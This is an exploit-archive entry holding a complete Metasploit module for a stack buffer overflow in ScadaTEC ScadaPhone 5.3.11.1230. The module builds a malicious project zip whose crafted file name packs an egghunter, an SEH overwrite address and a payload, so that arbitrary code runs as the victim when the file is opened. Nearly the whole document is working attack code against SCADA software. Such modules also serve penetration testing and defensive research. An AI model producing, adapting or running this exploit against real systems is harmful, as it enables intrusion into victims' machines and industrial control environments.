ScadaTEC ScadaPhone <= v5.3.11.1230 Stack Buffer Overflow



EKU-ID: 980 CVE: OSVDB-ID: 75375
Author: mr_me Published: 2011-09-15 Verified: Verified
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##
# $Id: scadaphone_zip.rb 13728 2011-09-13 20:10:28Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex/zip'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Seh
 include Msf::Exploit::Remote::Egghunter

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'ScadaTEC ScadaPhone <= v5.3.11.1230 Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack-based buffer overflow vulnerability in
    version 5.3.11.1230 of scadaTEC's ScadaPhone.

    In order for the command to be executed, an attacker must convince someone to
    load a specially crafted project zip file with ScadaPhone.
    By doing so, an attacker can execute arbitrary code as the victim user.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'mr_me <steventhomasseeley[at]gmail.com>', # found + msf
    ],
   'Version'        => '$Revision: 13728 $',
   'References'     =>
    [
     #[ 'CVE', '' ],
     [ 'OSVDB', '75375' ],
     [ 'URL', 'http://www.scadatec.com/' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/17817/' ],
    ],
           'Platform'          => [ 'win' ],
           'Payload'           =>
    {
     'Space'    => 700,
     'BadChars' => "\x00\x0a\x0d",
     'DisableNops' => true,
    },
   'Targets'        =>
    [
     # POP ESI; POP EBX; RETN [ScadaPhone.exe]
     [ 'Windows Universal', { 'Ret' => 0x004014F4 } ],
    ],
   'DisclosureDate' => 'Sep 12 2011',
   'DefaultTarget'  => 0))

   register_options(
    [
    OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
   ], self.class)

 end

 def exploit

  eggoptions =
  {
   :checksum => false,
   :eggtag => 'zipz'
  }

  hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

  fname = rand_text_alpha_upper(229)
  fname << hunter
  fname << rand_text_alpha_upper(48-hunter.length)
  fname << Rex::Arch::X86.jmp_short(-50)
  fname << rand_text_alpha_upper(2)
  fname << [target.ret].pack('V')
  fname << rand_text_alpha_upper(100)
  fname << egg
  fname << rand_text_alpha_upper(4096-fname.length)
  fname << [0x7478741e].pack('V')

  zip = Rex::Zip::Archive.new
  xtra = [0xdac0ffee].pack('V')
  comment = [0xbadc0ded].pack('V')
  zip.add_file(fname, xtra, comment)

  # Create the file
  print_status("Creating '#{datastore['FILENAME']}' file...")

  file_create(zip.pack)
 end

end